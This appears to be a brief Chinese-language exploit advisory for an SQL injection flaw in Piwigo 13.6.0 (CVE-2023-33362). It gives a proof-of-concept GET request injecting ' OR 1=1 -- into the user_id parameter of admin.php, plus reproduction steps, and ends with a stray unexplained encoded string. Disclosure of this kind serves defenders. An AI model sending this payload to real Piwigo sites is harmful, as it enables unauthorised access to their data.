Piwigo 13.6.0 SQL注入漏洞技术分析

漏洞标题: Piwigo 13.6.0 - SQL注入

日期: 2025-11-25

漏洞作者: CodeSecLab

供应商主页: github.com/Piwigo/Piwi…

软件链接: github.com/Piwigo/Piwi…

版本: 13.6.0

测试环境: Windows

CVE : CVE-2023-33362

概念验证 (Proof Of Concept):

GET /admin.php?page=profile&user_id=' OR 1=1 --  HTTP/1.1
Host: piwigo

复现步骤

1. 以管理员用户身份登录。
2. 发送上述请求。
3. 观察结果。 eQ7SPjxu3wq/iZYjEnW1MGmV38jUHbHn2zgMGOH0b6HX88G3Bid6YZy0EvGAkKdU